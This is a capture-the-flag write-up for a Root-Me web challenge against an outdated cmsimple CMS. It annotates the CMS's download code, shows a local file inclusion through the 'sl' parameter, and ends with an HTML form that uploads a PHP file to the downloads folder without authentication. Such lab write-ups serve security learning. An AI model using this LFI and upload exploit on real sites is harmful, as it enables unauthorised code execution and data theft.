Skip to main content

So easy to p0wn !

· 5 min read
note

Une petite association désireuse de créer un site internet n’a même pas eu le temps d’installer son CMS "cmsimple" avant de se faire hacker. Il faut faire quelque chose ! Récupérez le mot de passe permettant de gérer le contenu du portail.

we have access to a web application with the following functionalities:

  • a search bar reflecting research
  • 3 static web pages
  • a login page
  • a zip file containing the CMS code !

nothing interesting at first sight on the website...
Looking at the cmsimple code, we can see that a config.php file contains a password, which by default is said to be "admin" / "test".
Theses logins on the website does not work, probably it did before, but the hackers took control and changed it.

But still we know that a config.php file is located at the following URI

http://challenge01.root-me.org/realiste/ch6/cmsimple/config.php
success

We get an empty 200 response from the server when requesting

http://challenge01.root-me.org/realiste/ch6/cmsimple/config.php

This config file does not output anything which make sense as this PHP file is interpreted and does not generate any HTML. We could maybe rely on wrappers to request the plain config.php.

searching for LFI vulnerability

First idea would be to find an LFI vulnerability so that we can read the plain config.phpfile which isn't restricted. Concretely, we are searching for an input which is used in an include() clause in the CMS, so that we could attempt to use PHP wrappers and fetch the plain config.php file.

  • no language input
  • search bar input
  • search bar input
  • weird cms functionality ?

When heading to one of tha page, the URL is the following

http://challenge01.root-me.org/realiste/ch6/?Just_qeen_0wned_!

The search bar seems interesting as it returns a list of existing file depending on the input field.
When searching for a non existent page, the output returned is "page not found"

http://challenge01.root-me.org/realiste/ch6/?Just_qeen_0wned_!&print
http://challenge01.root-me.org/realiste/ch6/?&print&function=search&search=test

nothing really concret, lets go slower

code architecture

index.php

<?php include('./cmsimple/cms.php'); ?>

The CMS file first set a lot of path

if (eregi('cms.php',sv('PHP_SELF')))die('Access Denied');

$pth['file']['execute'] = './index.php';
$pth['folder']['content'] = './content/';
$pth['file']['content'] = $pth['folder']['content'].'content.htm';

if (@is_dir('./cmsimple/')) $pth['folder']['base'] = './';
else $pth['folder']['base'] = './../';

$pth['folder']['downloads'] = $pth['folder']['base'].'downloads/';

$pth['folder']['images'] = $pth['folder']['base'].'images/';
$pth['folder']['flags'] = $pth['folder']['images'].'flags/';
$pth['folder']['editbuttons'] = $pth['folder']['images'].'editor/';

$pth['folder']['cmsimple'] = $pth['folder']['base'].'cmsimple/';
$pth['file']['image'] = $pth['folder']['cmsimple'].'image.php';
$pth['file']['log'] = $pth['folder']['cmsimple'].'log.txt';
$pth['file']['cms'] = $pth['folder']['cmsimple'].'cms.php';
$pth['file']['config'] = $pth['folder']['cmsimple'].'config.php';

Theses files may be manually changed but we can try to access them and see by ourself

http://challenge01.root-me.org/realiste/ch6/images/ => 200 SUCCESS
http://challenge01.root-me.org/realiste/ch6/cmsimple/index.php => 200 SUCCESS
http://challenge01.root-me.org/realiste/ch6/cmsimple/config.php => 200 SUCCESS
http://challenge01.root-me.org/realiste/ch6/content/content.htm => 200 SUCCESS
http://challenge01.root-me.org/realiste/ch6/content/image.htm => 200 SUCCESS
http://challenge01.root-me.org/realiste/ch6/cmsimple/cms.php => 200 ("access denied echo from PHP")
http://challenge01.root-me.org/realiste/ch6/cmsimple/image.php => 200 but image error
http://challenge01.root-me.org/realiste/ch6/cmsimple/log.txt => 200 empty ?
http://challenge01.root-me.org/realiste/ch6/cmsimple/ => 403
http://challenge01.root-me.org/realiste/ch6/cmsimple/languages/ => 403
http://challenge01.root-me.org/realiste/ch6/cmsimple/languages/fr.php => 200

la fonctionalité download parrait verifier si le fichier est readable,
si oui, le telecharge, peut etre un espoir de récupérer en plaintext ici !
la condition

if (!is_readable($fl) || ($download != '' && !chkdl($sn.'?download='.basename($fl)))) {

n'est pas tres clair, go lire la doc ici.
Finalement la doc aide pas tant que ça...

on comment le code pour s'y retrouver

#called when http://challenge01.root-me.org/realiste/ch6/?download=<FILE> is called
function download($fl) {
#$sn seems to be the current url # $fl might be the file # download ??? # tx might be used to modify the page layout in some cases ?
global $sn, $download, $tx;
# if the requested file IS NOT readable, OR if download isn't empty AND
# NOT checkdownload("http://challenge01.root-me.org/realiste/ch6/?download=<FILE_WITH_REMOVED_EXTENSION>")

# if the file isn't readable or if checkdownload returns FALSE, it fails, else it downloads
if (!is_readable($fl) || ($download != '' && !chkdl($sn.'?download='.basename($fl)))) {
global $o, $text_title;
shead('404');
$o .= '<p>File '.$fl.'</p>';
return;
} else {
header('Content-Type: application/save-as');
header('Content-Disposition: attachment; filename="'.basename($fl).'"');
header('Content-Length:'.filesize($fl));
header('Content-Transfer-Encoding: binary');
if ($fh = @fopen($fl, "rb")) {
while (!feof($fh))echo fread($fh, filesize($fl));
fclose($fh);
}
exit;
}
}

# the checkdownload function, download() relies on it
function chkdl($fl) {
global $pth, $sn;
#m must be true to succeed
$m = false;
#if $pth['folder']['downloads'] is a folder (which is true in our case see top of the cms.php page)
if (@is_dir($pth['folder']['downloads'])) {
# opens a pointer on the download folder
$fd = @opendir($pth['folder']['downloads']);
# reads pointer which points to first entry, then points to the next file
while (($p = @readdir($fd)) == true) {
# This regular expression matches filenames with extensions.
# It ensures that there is at least one character before and after a dot in the filename,
# indicating the presence of an extension.
if (preg_match("/.+\..+$/", $p)) {
#if $filename == http://challenge01.root-me.org/realiste/ch6/?download=$filename
#and $filename is in the download folder
#success
if ($fl == $sn.'?download='.$p)
$m = true;
}
}
if ($fd == true)closedir($fd);
}
return $m;
}
failure

I don't see any ways to bypass the chkdl() verification...

back at reading the doc

by looking up old cmsimple vulnerabilities i found out that the sl function was used to LFI.
The following payload works out

http://challenge01.root-me.org/realiste/ch6/?sl=../search
http://challenge01.root-me.org/realiste/ch6/?sl=../admin
success

en cherchant un peu on trouve differentes cve, dont une permettant d'upload des fichiers dans le dossier download, nous avons precedement vue que nous pouvons appeler les fichierrs de ce dossier sans etre login ! (uploading truc.php) http://challenge01.root-me.org/realiste/ch6/?sl=../adm&adm=1

<form method="POST" enctype="multipart/form-data" action="http://challenge01.root-me.org/realiste/ch6/?sl=../adm&adm=1" >
<input type="file" class="file" name="downloads" size="30">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="function" value="downloads">
<input type="submit" class="submit" value="Upload">
</form>